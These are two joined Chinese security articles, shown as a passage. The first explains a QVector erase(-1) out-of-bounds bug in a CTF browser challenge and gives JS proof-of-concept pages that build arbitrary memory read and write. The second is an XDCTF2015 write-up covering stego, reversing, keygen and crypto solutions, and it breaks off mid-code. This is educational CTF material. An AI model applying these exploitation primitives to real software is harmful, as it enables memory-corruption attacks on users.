}else if(this->type == 2){
this->strvect.erase(this->strvect.begin() + idx);
}else{
// this doesn't happen ever
BKPException ex;
throw ex;
}
QT中erase内联函数（/src/corelib/tools/qvector.h）定义，erase如果只有一个参数，就只会对当前值erase，而不是一个范围。
iterator erase(iterator begin, iterator end);
inline iterator erase(iterator pos) { return erase(pos, pos+1); }
QT版本的erase的实现和标准的STL中基本一致，将erase范围内的数据删去，并且将aend以后的参数拷贝到前面新的空闲位置。(使用new或者memmove)
关键问题在于这个函数也没有对输入参数的检测，如果输入的参数为-1，那么abegin=-1，aend=0，erase会将原本index为0的数据，到QVector结构的前面（index=-1）。
template <typename T>
typename QVector<T>::iterator QVector<T>::erase(iterator abegin, iterator aend)
{
Q_ASSERT_X(isValidIterator(abegin), "QVector::erase", "The specified iterator argument 'abegin' is invalid");
Q_ASSERT_X(isValidIterator(aend), "QVector::erase", "The specified iterator argument 'aend' is invalid");
const auto itemsToErase = aend - abegin;
if (!itemsToErase)
return abegin;
Q_ASSERT(abegin >= d->begin());
Q_ASSERT(aend <= d->end());
Q_ASSERT(abegin <= aend);
const auto itemsUntouched = abegin - d->begin();
// FIXME we could do a proper realloc, which copy constructs only needed data.
// FIXME we are about to delete data - maybe it is good time to shrink?
// FIXME the shrink is also an issue in removeLast, that is just a copy + reduce of this.
if (d->alloc) {
detach();
abegin = d->begin() + itemsUntouched;
aend = abegin + itemsToErase;
if (!QTypeInfoQuery<T>::isRelocatable) {
iterator moveBegin = abegin + itemsToErase;
iterator moveEnd = d->end();
while (moveBegin != moveEnd) {
if (QTypeInfo<T>::isComplex)
static_cast<T *>(abegin)->~T();
new (abegin++) T(*moveBegin++);
}
if (abegin < d->end()) {
// destroy rest of instances
destruct(abegin, d->end());
}
} else {
destruct(abegin, aend);
// QTBUG-53605: static_cast<void *> masks clang errors of the form
// error: destination for this 'memmove' call is a pointer to class containing a dynamic class
// FIXME maybe use std::is_polymorphic (as soon as allowed) to avoid the memmove
memmove(static_cast<void *>(abegin), static_cast<void *>(aend),
(d->size - itemsToErase - itemsUntouched) * sizeof(T));
}
d->size -= int(itemsToErase);
}
return d->begin() + itemsUntouched;
}
BKPStore对象操作对象QVector,定义了三个不同的QVector指针（对应不同的type，1对应int，2对应str，0对应var），如果忘了可以往上翻，重新看一下这个对象的定义。
QVector数据结构为QArrayData
头部长度24byte，offset这个值正好在array的前面。如果使用remove(-1)正好会把offset值删去，并将我们写入数组的第一个值放入offset值。（虽然实际上只能覆盖低八位，不过已经足够够了，offset值本身就用不到高8位）
struct Q_CORE_EXPORT QArrayData
{
QtPrivate::RefCount ref; //4 byte 引用计数
int size; //4 byte 大小
uint alloc : 31; // 4 byte 分配大小
uint capacityReserved : 1; //4byte
qptrdiff offset; //8 byte // in bytes from beginning of header arry距离数组的偏移
// array starts here
void *data() //动态
{
Q_ASSERT(size == 0
|| offset < 0 || size_t(offset) >= sizeof(QArrayData));
return reinterpret_cast<char *>(this) + offset;
}
const void *data() const //静态
{
Q_ASSERT(size == 0
|| offset < 0 || size_t(offset) >= sizeof(QArrayData));
return reinterpret_cast<const char *>(this) + offset;
}
**POC**
通过POC可以看到，通过remove(-1) QArryData数组的第一位0覆盖了offset，
然后程序将整个结构的头部打印了出来。
Poc1.html
<div id="print"></div>
<script type="text/javascript">
var db=BKPDataBase.create("dbname","passwd");
var A=db.createStore("db1",1,[0,1,2,3,4,5,6,7,8,9],0xaabb);
A.remove(-1);
var x="";
for(var i=0;i<15;i++)
{
x+=i+" : "+A.get(i).toString(16)+"<br>";
}
document.getElementById("print").innerHTML=x;
</script>
头部分别是ref=1 ，size因为remove所以减少了1
0 : 900000001 1<--ref 9 <--size
1 : 7faa0000000d
2 : 0
3 : 1
4 : 2
5 : 3
6 : 4
7 : 5
8 : 6
9 : 0 <--size减少导致的不可读（9及以下都不可读）
10 : 0
11 : 0
12 : 0
13 : 0
14 : 0
此时通过inset可以将size值修改为任意值，从而达到任意地址读取的效果。
`A.insert(0,0xffff000000001);`
如图所示，我们将size值改为了0xffff（还要保证ref=1，否则会被垃圾回收机制干掉），于是后面的地址都能打印出来了。
poc2.html
<div id="print"></div>
<script type="text/javascript">
var db=BKPDataBase.create("dbname","passwd");
var A=db.createStore("db1",1,[0,1,2,3,4,5,6,7,8,9],0xaabb);
A.remove(-1);
A.insert(0,0xffff000000001);
var x="";
for(var i=0;i<15;i++)
{
x+=i+" : "+A.get(i).toString(16)+"<br>";
}
document.getElementById("print").innerHTML=x;
</script>
**构造Exploit**
一些要点：Js的heap和QT（我们这次分析的）的heap是分开的，QT直接用的libc的heap。所以内存查找不用担心找到js中的key1
通过匹配store_ping值，寻找C对象的BKPStore结构地址
<div id="print"></div>
<script type="text/javascript">
var db=BKPDataBase.create("dbname","passwd");
var key1=0xabcd1234;
var B=db.createStore("B",1,[0,1,2,3,4,5,6,7,8,9],0xaabb);
var C=db.createStore("C",1,[0,1,2,3,4,5,6,7,8,9],key1);
B.remove(-1);
B.insert(0,0xffff000000001);
var x="";
for(var i=0;i<2000 ;i++)
{
//x+=i+" : "+B.get(i).toString(16)+"<br>";
if(B.get(i)==key1){
//alert("i="+i);
for(var j=i-10;j<i+10;j++)
{
x+=j+" : "+B.get(j).toString(16)+"<br>";
}
}
}
document.getElementById("print").innerHTML=x;
</script>
构造两个Vector，读取另一个的虚函数表，判断条件 store_ping参数 ，对照结构可以取到第二个Vector的intvect地址
BKPStore结构参考
quint8 type; // specifies which type to of vector
// to use
QVector<QVariant> varvect;
QVector<qulonglong> intvect;
QVector<QString> strvect;
qulonglong store_ping;
JS打印出了BKPStore的结构，我们可以获取这个QVector的地址还有后文用于泄漏地址的Vtable地址。
打印地址时候需要注意的是，因为创建大量的内存，heap内部空间会比较乱，很可能读取到上一次遗留/错误的地址。添加一个判断条件来保证BKPStore的正确性，必须保证读取到的strvect和varvect相等（未初始化状态），
intvect的内容，指向QArrayData结构
#### 实现任意地址读写
任意地址写的思路很简单，通过控制对象C_Vector的offset大小，实现任意地址读写。修改offset的方法，只需通过BVector的越界读写修改C的offset即可
使用read读取vtable的内容
<div id="out"></div>
<script type="text/javascript">
function print(str)
{
document.getElementById("out").innerHTML+=str+"<br>";
}
function exploit(){
//任意地址读
function read(addr)
{
offset=addr-C_vec; //计算读取地址和Cvector数组的距离
B.insert(B2C_index-1,offset); //修改offset为距离
info=C.get(0); //读取
if(C.get(0)==key2) //检测offset是否成功修改
return false;
B.insert(B2C_index-1,0);
return info;
}
for (var i = 1000; i >= 0; i--) {
var db=BKPDataBase.create("dbname","passwd");
var key1=Math.floor(Math.random()*1e12); //随机生成
var key2=Math.floor(Math.random()*1e12);
var B=db.createStore("B",1,[0,1,2,3,4,5,6,7,8,9],0xabc);
var C=db.createStore("C",1,[key2,0xbbbb,0xdeadbeef],key1);
B.remove(-1);
B.insert(0,0xffff000000001);
var B2C_index=-1; //B->QArrayData数组 到 C ->QArrayData 的距离
var C_vec=-1;//C->QArrayData
var vtable;
var x="";
//获取 C_vec地址
for(var i=0;i<2000 ;i++)
{
if(B.get(i)==key1&&B.get(i-1)==B.get(i-3)&&C_vec==-1){
C_vec=B.get(i-2);
vtable=B.get(i-6);
//alert(vtable.toString(16));
}
}
for(var i=0;i<2000 ;i++)
{
if(B.get(i)==key2&&B.get(i+1)==0xbbbb&&B.get(i+2)==0xdeadbeef&&B2C_index==-1){
B2C_index=i;
}
}
if(B2C_index!=-1&&C_vec!=-1)
{
x=("C_vec="+C_vec.toString(16)+"<br>");
x+=("B2C_index="+B2C_index.toString(16)+"<br>");
if(read(vtable)==false)
continue;
x+="info="+read(vtable).toString(16); //读取vtable的值
print(x);
break;
}
}
}
exploit();
</script>
Gdb attach到浏览器，查看虚函数表地址
gef➤ x/20xg 0x55f34f2ed400
0x55f34f2ed400 <_ZTV8BKPStore+16>: 0x000055f34f0e8b80 0x000055f34f0e8eb0
0x55f34f2ed410 <_ZTV8BKPStore+32>: 0x000055f34f0e8ff0 0x000055f34f0e93d0
0x55f34f2ed420 <_ZTV8BKPStore+48>: 0x000055f34f0e9230 0x00007f7f7d357b10
同理任意地址写的代码只需把read函数的get换成insert
function write(addr,content)
{
offset=addr-C_vec;
B.insert(B2C_index-1,offset); //修改offset
if(C.get(0)==key2) //检测offset是否成功修改
return false;
C.insert(0,content);
return true;
}
不过这里，任意地址写没办法修改虚函数表，会报段错误。修改程序流程只需要将vtable覆盖即可，不过这次的案例并不会覆盖虚表的方式，而会使用JIT
Page的方式写入shellcode。 ** _因为篇幅问题，完整利用详见我的[博客](https://migraine-sudo.github.io/2019/12/20/qwn2own/)。_**
## 小结
本次的两个案例，前者通过堆溢出来修改BSTR结构实现地址泄漏，而后者本身就是数组越界漏洞，同样可以用前者的方式来完成利用，由于QArrayData结构的特殊性，可以进一步实现一个OOB（任意地址读/写）漏洞。数组结合javascript依然是内存漏洞的绕过ASLR的重要手段，不仅仅是浏览器，支持脚本语言软件都有可能被如此灵活的运用。作为漏洞研究者，这类技术是可以被总结存入武器库中的，而作为防御者（/开发者），则更需要从漏洞中吸取教训，防止一个普通的数组越界再次创造一个神洞。 | 社区文章 |
# XDCTF2015 WriteUp
|
##### 译文声明
本文是翻译文章，文章来源：复旦六星战队@360安全播报
译文仅供参考，具体内容表达以及含义原文为准。
**MISC 100**
给出了一张官网logo一模一样的图片,一开始完全摸不着头脑。后来给出了原图,但是俩文件大小差了不少,应该不是简单的修改。然后给出了brain的提示,其实想到了跟brainfuck有关,但是我对brainfuck的理解也就是一个比较奇怪的编程语言,没有深入搜索。再然后说braintools了,我估摸着也是用了什么现成的图片隐写工具,直接GOOGLE或者github搜,找到braintool然后用命令解出来即可。
如此得到了brainfuck代码,然后用BFI工具跑一下就可以得到结果。
**
**
**MISC 300**
上来肯定先例行检查下LSB啦
python
>>> import Image
>>> a=Image.open('zxczxc.png')
>>> a.point(lambda i: 255 if i&1 else 0).show()
可以发现第一列有藏着东西,仔细看看像素值
python
>>> for i in xrange(100):
... print a.getpixel((0,i))
...
(252, 255, 254)
(253, 252, 255)
(254, 252, 252)
(254, 253, 254)
(252, 255, 253)
(252, 253, 254)
(253, 254, 252)
(254, 252, 255)
(253, 255, 253)
(252, 253, 254)
(254, 253, 252)
(254, 253, 253)
(253, 254, 253)
(252, 253, 254)
(252, 255, 252)
...
发现其在252~255之间,那就是用了最后两位藏数据
最后试了下是按像素顺序、RGB顺序、倒数第二第一位的顺序排列的01串
python
>>> s=''
>>> for i in xrange(165):
... p=a.getpixel((0,i))
... for k in xrange(3):
... s+='1' if p[k]&2 else '0'
... s+='1' if p[k]&1 else '0'
...
>>> s
'001110010011100000100110001101000110011000100011011101000110100100100101011001000110001100110010001100010011000000101110001100100011011100101110001100010011000000101110001100010011100100110101001011010011001000110000001100010011010100101101001100000011100100101101001100010011011001010100001100000011010100111010001100100011000100111010001101010011001000101011001100000011001000111010001100000011000000111001001110000010011000110100011001100010001101110100011010010010010101100100011000110111100011011010101010110100100001001001001011100100100110101011001011100010111000110001010011100100111111001100001100110100100000101111001100100010100111001000101010001101010001001101110011010100101100110110010010000011000111010110001101010011011110101110001010001101000100110101110011000010101111001001110101110011010111001100001101010100100101001111101011010000010100000000010110100111000000001111000101110011100100111000001001100011010001100110001000110111010001101001001001010110010001100011111111'
>>> def tostr(s):
... ret=''
... for i in xrange(0, len(s), 8):
... ret+=chr(int(s[i:i+8],2))
... return ret
...
>>> tostr(s)
'98&4f#ti%dc210.27.10.195-2015-09-16T05:21:52+02:0098&4f#ti%dcxxdaxabHI.Ixab..1NOxcc3H/2)xc8xa8xd4MxcdK6H1xd657xae(xd15xcc+xc9xd75xcc5IOxadx05x00Zpx0fx1798&4f#ti%dc?'
>>>
可以看到210.27.10.195-2015-09-16T05:21:52+02:00以及分隔符样的东西98&4f#ti%dc
一开始还以为那个IP 210.27.10.195有什么东西…
然后队友说这是zlib compressed才注意到第二个分隔符后有xxda这个头…..
python
>>> import zlib
>>> zlib.decompress('xxdaxabHI.Ixab..1NOxcc3H/2)xc8xa8xd4MxcdK6H1xd657xae(xd15xcc+xc9xd75xcc5IOxadx05x00Zpx0fx1798&4f#ti%dc')
'xdctf{st3gan0gr4phy-enc0d3-73xt-1nto-1m4ge}'
得到Flag
**REVERSE 100**
做题人在赶火车,留下程序就跑了……
这题好像比较坑的是,以为不会运行到的一段程序才是真的逻辑,一直被关注的地方过掉的话拿到的那个 congratulations 后面跟着 `?`
python
strs = '\|Gq\@?BelTtK5L`\|D`d42;'
tmp = ''
for c in strs:
tmp+=chr(ord(c)^6)
strs=tmp
def check2(a):
ans = {}
for i in range(24):
key = i - 12 * (((0x0AAAAAAAAAAAAAAAB * i) >> 64) >> 3)
value = a[i] ^ ord(strs[i])
if (key in ans):
if ans[key]!=value:
return
else:
ans[key]=value
s = ''
for c in ans:
s += chr(ans[c])
print s
#print ord(s[1])
def rotate(a):
for i in range(6):
t = a[i]
a[i] = a[17-i]
a[17-i] = t
def check(a):
rotate(a)
check2(a)
rotate(a)
def dfs(a, i):
if i == len(a):
check(a)
return
dfs(a,i+1)
if a[i]>31 and a[i]<64:
a[i]-=32
dfs(a,i+1)
a[i]+=32
s = ';%#848N!0Z?7x27%23]/5#1"YX'
print 'len(s): %d' % len(s)
print 's:' + s
a = []
for c in s:
a.append(ord(c))
dfs(a,0)
**REVERSE 200**
exe文件,首先找到那几个You shall not
pass的位置简单patch下把反调试去掉(为了区分顺便把每个字符串的第一个字符改了),然后动态单步跟,最后发现在401040及下面的一堆都是对输入的检查,长得跟静态时不太一样估计修改过。记得先检查了XDCTF{和最后的},因为后面那个大括号的关系长度也就出来了,然后检查了两个单词分隔符,用两次call检查了被分隔符隔开的前两个单词,最后再检查末尾4位。因为都是简单的运算,在cmp那里逆推一下就行了。
**REVERSE 300**
**尝试**
原源代码:
python
(lambda __g, __y: [[[[[[[(fin.close(), [[(lambda __items, __after, __sentinel: __y(lambda __this: lambda: (lambda __i: [(ss.append(c), (sss.append(0), __this())[1])[1] for __g['c'] in [(__i)]][0] if __i is not __sentinel else __after())(next(__items, __sentinel)))())(iter(s), lambda: [[(lambda __items, __after, __sentinel: __y(lambda __this: lambda: (lambda __i: [(lambda __value: [__this() for __g['sssss'] in [((lambda __ret: __g['sssss'] + __value if __ret is NotImplemented else __ret)(getattr(__g['sssss'], '__iadd__', lambda other: NotImplemented)(__value)))]][0])(chr(c)) for __g['c'] in [(__i)]][0] if __i is not __sentinel else __after())(next(__items, __sentinel)))())(iter(ssss), lambda: [(fout.write(sssss), (fout.close(), None)[1])[1] for __g['fout'] in [(open('flag.enc', 'wb+'))]][0], []) for __g['sssss'] in [('')]][0] for __g['ssss'] in [(encode(ss, sss))]][0], []) for __g['sss'] in [([])]][0] for __g['ss'] in [([])]][0])[1] for __g['s'] in [(fin.read().strip())]][0] for __g['fin'] in [(open('flag.txt', 'r'))]][0] for __g['encode'], encode.__name__ in [(lambda data, buf: (lambda __l: [[(lambda __items, __after, __sentinel: __y(lambda __this: lambda: (lambda __i: [[__this() for __l['data'][__l['i']] in [((table.index(__l['data'][__l['i']]) + 1))]][0] for __l['i'] in [(__i)]][0] if __i is not __sentinel else __after())(next(__items, __sentinel)))())(iter(xrange(__l['_len'])), lambda: (lambda __items, __after, __sentinel: __y(lambda __this: lambda: (lambda __i: [[[__this() for __l['buf'] in [(setbit(__l['buf'], __l['i'], getbit(__l['data'], __l['j'])))]][0] for __l['j'] in [((((__l['i'] / 6) * 8) + (__l['i'] % 6)))]][0] for __l['i'] in [(__i)]][0] if __i is not __sentinel else __after())(next(__items, __sentinel)))())(iter(xrange((__l['_len'] * 6))), lambda: __l['buf'], []), []) for __l['_len'] in [(len(__l['data']))]][0] for __l['data'], __l['buf'] in [(data, buf)]][0])({}), 'encode')]][0] for __g['getbit'], getbit.__name__ in [(lambda p, pos: (lambda __l: [[[((__l['p'][__l['cpos']] >> __l['bpos']) & 1) for __l['bpos'] in [((__l['pos'] % 8))]][0] for __l['cpos'] in [((__l['pos'] / 8))]][0] for __l['p'], __l['pos'] in [(p, pos)]][0])({}), 'getbit')]][0] for __g['setbit'], setbit.__name__ in [(lambda p, pos, value: (lambda __l: [[[(lambda __target, __slice, __value: [(lambda __target, __slice, __value: [__l['p'] for __target[__slice] in [((lambda __old: (lambda __ret: __old | __value if __ret is NotImplemented else __ret)(getattr(__old, '__ior__', lambda other: NotImplemented)(__value)))(__target[__slice]))]][0])(__l['p'], __l['cpos'], (__l['value'] << __l['bpos'])) for __target[__slice] in [((lambda __old: (lambda __ret: __old & __value if __ret is NotImplemented else __ret)(getattr(__old, '__iand__', lambda other: NotImplemented)(__value)))(__target[__slice]))]][0])(__l['p'], __l['cpos'], (~(1 << __l['bpos']))) for __l['bpos'] in [((__l['pos'] % 8))]][0] for __l['cpos'] in [((__l['pos'] / 8))]][0] for __l['p'], __l['pos'], __l['value'] in [(p, pos, value)]][0])({}), 'setbit')]][0] for __g['table'] in [(string.printable.strip())]][0] for __g['string'] in [(__import__('string', __g, __g))]][0])(globals(), (lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))))
一大堆lambda…嗯,其实这题还是很简单的…
在本地尝试执行,并查看globals(),得
python
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "<stdin>", line 1, in <lambda>
IOError: [Errno 2] No such file or directory: 'flag.txt'
>>> globals()
{'string': <module 'string' from 'D:Python27libstring.pyc'>, '__builtins__': <module '__builtin__' (built-in)>, '__package__': None, 'i': 654, 'table': '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~', 'encode': <function encode at 0x02836C30>, '__name__': '__main__', 'getbit': <function getbit at 0x028364B0>, '__doc__': None, 'setbit': <function setbit at 0x02815E30>}
也就是import string,并生成了encode(), getbit(), setbit()的函数,还有一个table
下面还是先介绍下背景知识吧….
**函数式编程与lambda运算**
这个程序跟函数式编程还是有一定关系的,当然不会也能做…
下面就是这个.py的主要trick
**等量代换(实现where语句,scope内赋值)**
不妨先看下这样的例子:
[y for y in [1]] == [1]
再看个复杂点的
python
[x for x in [range(3)]] == [x for x in [[0, 1, 2]]] == [ [0,1,2] ]
如果把最外层的方括号看成一个scope,也就是如同C语言里的{}所起的作用一样,那么这句话就是一个等量代换,把这句话变形一下易于理解,即:
[
x
for x in [range(3)]
]
去掉in,得
[
x
for x = range(3)
]
把最外层[]理解成c语言的scope
{
x = range(3)
返回 x
}
求值得
{
[0, 1, 2]
}
把scope变回来,即得`[ [0,1,2] ]`
换句话,我们得到两个等量代换式:
[blahblah(x) for x in [y] ] == [blahblah(x) where x = y]
[blahblah(x) for x in [[y]][0] ] == [blahblah(x) where x = y]
这样相当于haskell的where语句
也就是说,可以用这种形式实现在scope内的赋值操作,在scope内把x赋值为y
比如说,要想得到`[(0, 0)]`我们可以这样写:
[(x, y) for x in [0] for y in [[0]][0]] == [(0, 0)]
**lambda calculus beta规约(实现let语句)
**
以下是lambda calculus的beta规约定理的例子:
python
(lambda j: j*2)(3) == (3*2) == 6
如果把lambda运算内部视为一个scope,那么就相当于
lambda:
let j = 3:
return j*2
**开始逆向**
trick讲完了,就可以粗粗整理下代码了,加些赋值符号:
python
(lambda __g, __y: [[[[[[[(fin.close(), [[(lambda __items, __after, __sentinel: __y(lambda __this: lambda:
(lambda __i: [(ss.append(c), (sss.append(0), __this())[1])[1]
for __g['c'] in [(__i)]][0] if __i is not __sentinel else __after())
(next(__items, __sentinel)))())(iter(s), lambda: [[(lambda __items, __after, __sentinel: __y(lambda __this: lambda: (lambda __i: [(lambda __value: [__this() for __g['sssss'] in [((lambda __ret: __g['sssss'] + __value if __ret is NotImplemented else __ret)(getattr(__g['sssss'], '__iadd__', lambda other: NotImplemented)(__value)))]][0])(chr(c)) for __g['c'] in [(__i)]][0] if __i is not __sentinel else __after())(next(__items, __sentinel)))())(iter(ssss), lambda: [(fout.write(sssss), (fout.close(), None)[1])[1] for __g['fout'] in [(open('flag.enc', 'wb+'))]][0], [])
for __g['sssss'] in [('')]][0]
for __g['ssss'] in [(encode(ss, sss))]][0], [])
for __g['sss'] in [([])]][0]
for __g['ss'] in [([])]
][0])[1]
for __g['s'] in [(fin.read().strip())]][0]
for __g['fin'] in [(open('flag.txt', 'r'))]][0]
for __g['encode'], encode.__name__ in [
(lambda data, buf:
(lambda __items, __after, __sentinel:
__y(lambda __this: lambda:
(lambda __i:
[data['i'] = ((table.index(data['i']) + 1))
if __i is not __sentinel else __after())(next(__items, __sentinel)))())(iter(xrange(__l['_len'])),
lambda: (lambda __items, __after, __sentinel:
__y(lambda __this: lambda: (lambda __i: [[[
__this() for __l['buf'] in [(
j=(i / 6) * 8 + (i % 6)
setbit(buf, i, getbit(data, j))
if __i is not __sentinel else __after())(next(__items, __sentinel)))())
(iter(xrange((__l['_len'] * 6))), lambda: __l['buf'], []), []) for __l['_len'] in [(len(__l['data']))] )
]][0]
for __g['getbit'], getbit.__name__ in [(lambda p, pos: (lambda __l: [[[((__l['p'][__l['cpos']] >> __l['bpos']) & 1) for __l['bpos'] in [((__l['pos'] % 8))]][0] for __l['cpos'] in [((__l['pos'] / 8))]][0] for __l['p'], __l['pos'] in [(p, pos)]][0])({}), 'getbit')]][0]
for __g['setbit'], setbit.__name__ in [(lambda p, pos, value: (lambda __l: [[[(lambda __target, __slice, __value: [(lambda __target, __slice, __value: [__l['p'] for __target[__slice] in [((lambda __old: (lambda __ret: __old | __value if __ret is NotImplemented else __ret)(getattr(__old, '__ior__', lambda other: NotImplemented)(__value)))(__target[__slice]))]][0])(__l['p'], __l['cpos'], (__l['value'] << __l['bpos'])) for __target[__slice] in [((lambda __old: (lambda __ret: __old & __value if __ret is NotImplemented else __ret)(getattr(__old, '__iand__', lambda other: NotImplemented)(__value)))(__target[__slice]))]][0])(__l['p'], __l['cpos'], (~(1 << __l['bpos']))) for __l['bpos'] in [((__l['pos'] % 8))]][0] for __l['cpos'] in [((__l['pos'] / 8))]][0] for __l['p'], __l['pos'], __l['value'] in [(p, pos, value)]][0])({}), 'setbit')]][0]
for __g['table'] in [(string.printable.strip())]][0] for __g['string'] in [(__import__('string', __g, __g))]][0])(globals(), (lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))))
核心部分我又整理了一次:
python
[(fout.write(sssss), (fout.close(), None)[1])[1] for __g['fout'] in [(open('flag.enc', 'wb+'))]][0], []) for __g['sssss'] in [('')]][0] for __g['ssss'] in [(encode(ss, sss))]][0], []) for __g['sss'] in [([])]][0] for __g['ss'] in [([])]][0])[1] for __g['s'] in [(fin.read().strip())]][0] for __g['fin'] in [(open('flag.txt', 'r'))]][0] for __g['encode'], encode.__name__ in [
(lambda data, buf: (lambda __l: [[
(lambda __items, __after, __sentinel: __y(
lambda __this: lambda:
(lambda __i: [[__this() for __l['data'][__l['i']] in [((table.index(__l['data'][__l['i']]) + 1))]][0] for __l['i'] in [(__i)]][0] if __i is not __sentinel else __after())(next(__items, __sentinel)))())(iter(xrange(__l['_len'])), lambda: (lambda __items, __after, __sentinel: __y(lambda __this: lambda: (lambda __i: [[[__this()
for __l['buf'] in [(
setbit(__l['buf'], __l['i'], getbit(__l['data'], __l['j'])))]][0]
for __l['j'] in [((((__l['i'] / 6) * 8) + (__l['i'] % 6)))]][0]
for __l['i'] in [(__i)]][0] if __i is not __sentinel else __after())(next(__items, __sentinel)))())(iter(xrange((__l['_len'] * 6))), lambda: __l['buf'], []), []) for __l['_len'] in [(len(__l['data']))]][0]
for __l['data'], __l['buf'] in [(data, buf)]][0])({}), 'encode')]][0]
仔细看看,核心部分也就几句话:
python
[data['i'] = ((table.index(data['i']) + 1))
__this() for __l['buf'] in [(
j=(i / 6) * 8 + (i % 6)
setbit(buf, i, getbit(data, j))
if __i is not __sentinel else __after())(next(__items, __sentinel)))())
(iter(xrange((__l['_len'] * 6)))
for __g['table'] in [(string.printable.strip())]][0] for __g['string'] in [(__import__('string', __g, __g))]][0])(globals(), (lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))))
其中`__g[xxxxx]`就是全局变量,`__l[xxx]`就是局部变量
那么加密方式就出来了,把原字符在table的index+1后,把后6位保存到文件里
(其实这里由于我懒得看setbit,getbit所以搞反了字节序,
后来把aaaaaaaaaaaa写入flag.txt用这个程序加密后仔细逐位对比后才发现- -||)
由于`6*4==3*8`,我就每3字节一起decode
decode3b函数:
python
def tobin(b):
ret=''
for i in [128,64,32,16,8,4,2,1]:
ret+='1' if b&i else '0'
return ret
def decode3b(s):
a=s>>16
b=(s>>8) & 0xFF
c=s & 0xff
sa=tobin(a)
sb=tobin(b)
sc=tobin(c)
return table[int(sa[2:],2)]+table[int(sb[4:]+sa[:2],2)]+table[int(sc[6:]+sb[:4],2)]+table[int(sc[:6],2)]
>>> a=open('flag.enc','rb')
>>> a=a.read()
>>> s=''
>>> for i in xrange(0, len(a), 3):
... s+=decode3b(int(a[i:i+3].encode('hex'), 16))
...
>>> s
'yedugr1ofbm2o4epQz8i1op2tpkxft1nf344t000000000000000'
>>> s=''.join(map(lambda c: table[(table.index(c)+63)%64], s))
'xdctfq0neal1n3doPy7h0no1sojwes0me233s"""""""""""""""'
由于只保留了最后6位,所以在table里的index大于64的特殊字符是没有的,要手动(脑)补上第7位,
查table+64可知`'q'->'{', 'o'->'_'`等等….
得:
xdctf{0ne-l1n3d_Py7h0n_1s_@wes0me233}
****
**REVERSE 500**
注册机程序,给定机器码要求key,在string里可以发现openssl之类字样。
这题前半部分是队友看的,发现程序动态hook了GetDlgTextA,在其中首先检查位数是否48位,然后只包含0-9,A-F,接着进行hex解码后,扔到某个函数里处理后,前32位与机器码比较,后16位均为08(其实前部分是机器码移动2位再与0xe4异或后再比较的,还用了xmm0,不过那都是细节)。
关键就是前面的“某个函数”了,多试几次发现输入输出以64bit为一个块单位,结合字符串“libdes…”“解密之前”猜测该函数对输入使用des进行了解密,然后尝试找可疑的des
key,试了好几处发现函数开头的赋值有点奇怪,验证发现des key就是e1723b0b73f4c641,要记得大小端转换。
des操作采用pycrypto库,代码段如下:
c是用key和mode_ecb初始化后的des
python
>>> ss='F89AE772A6F990306EB0E82448435BFF'
>>> t=ss.decode('hex')
>>> t1=''
>>> for ch in t:
... t1+=chr(ord(ch)^0xe4)
...
>>> t1
'x1c~x03x96Bx1dtxd4x8aTx0cxc0xacxa7xbfx1b'
>>> t1.encode('hex')
'1c7e0396421d74d48a540cc0aca7bf1b'
>>> ss='1c7e0396421d74d48a540cc0aca7bf1b0808080808080808'
>>> ss=ss.decode('hex')
>>> c.encrypt(ss).encode('hex')
'9eea87758a647e5d74a376cd6281cfb5970bb701caf237f3'
>>> s=c.encrypt(ss).encode('hex')
>>> s.upper()
'9EEA87758A647E5D74A376CD6281CFB5970BB701CAF237F3'
**CRYPT 100**
密文一眼看上去全是大写字母,略微数了一下发现少J,看来应该是用了什么奇怪的加密方式,GOOGLE一番,可以找到一个比较古典的加密方式,playfair
个人觉得这加密方法还挺复杂的,抓耳挠腮之后还是继续GOOGLE看看有没有现成的playfair破解工具。结果在stackoverflow或者什么Stackexchange之类的网站上找到了一个好像是个大学课程里面提供的C语言程序,http://www.cs.miami.edu/home/burt/learning/Csc609.051/programs/playn/,运行之后就解出了明文,但是明文还是有很多不准确的字母,稍微人肉看了几句话,再搜发现是I
have a dream的内容,稍微比对比对,发现文末就是FLAG。
**CRYPT 200**
首先查看程序,可以发现这题其实就两个操作,mkprof 是将所给字符串加上前后缀后加密,parse
是将所给加密的串解密,只要串中含有一个特定子串(加密的时候不能输入含有这个子串的串)就能拿到 flag。
而这里的加密采取分段的方式,每一段将当前段明文与前一段的密文异或的结果用一个固定的我们不知道的 key 来进行 AES 加密。
那么对于两个串 A 和 B,我们首先拿到 A 的第 n 段和 B 的第 n 段的加密结果(要求两者不一样),然后我们在 B 的第 n+1
段中含有所需特定字符串,由于我们不能直接要求服务器对 B 进行加密,我们可以将 A 的第 n+1 段设为一个特定的字符串,满足此串与 A 的第 n
段加密结果异或的值和 B 的第 n+1 段明文与 B 的第 n 段的加密结果异或的值一样,那么显然此时 A 与 B 第 n+1
段加密出来的结果会是一样的。于是我们将 A 加密得到的第 n+1 段拼在 B 的前 n 段的加密结果后面去解密,就能通过判断,拿到 flag。
## CRYPT 300
这题要求用户指定index和ckey,然后用某些复杂操作计算sha512的hash值,涉及我们不知道的password和某个随机数。
因为题目里存在有限域上的求幂操作,而且N给定,所以可以考虑让求幂结果相对较少,对ckey的检查只要求模N不为0,所以我们可以取1让它计算时不来添麻烦。对index的检查要求它在2-N/2之间,我们希望index的阶尽量小,后来把N-1分解了一下发现有2*2*5*bignum,所以就找了个阶为5的index,这样index不管多少次方最多应该就5个结果,于是其中随便猜一个不停跑就是了。
这题好歹python程序没丢……
python
#encoding = utf-8
import random,sys,struct
import base64 as b64
import os
import hmac
from hashlib import sha512,sha1
from time import time
from pwn import *
def hash2int(*params):
sha=sha512()
for el in params:
sha.update("%r"%el)
return int(sha.hexdigest(), 16)
N = 1501763523645191865825715850305314918471290802252408144539280540647301821
'''
def cryptrand(self,n=2048):
p1=self.hash2int(os.urandom(40))<<1600
p1+=self.hash2int(p1)<<1000
p1+=self.hash2int(p1)<<500
p1+=self.hash2int(p1)
bitmask=((2<<(n+1))-1)
p1=(p1&bitmask)
return (p1% self.N)
def sendInt(self,toSend):
s=hex(toSend)
s=s[2:]
if s[-1]=="L":
s=s[:-1]
self.request.sendall(s+"n")
def readInt(self):
req=self.request
leng = struct.unpack("H", req.recv(2))[0]
if leng>520:
req.sendall("Sorry that is too long a numbern")
req.close()
return None
toRead = ""
while len(toRead) < leng:
toRead += req.recv(leng - len(toRead))
if len(toRead) > leng:
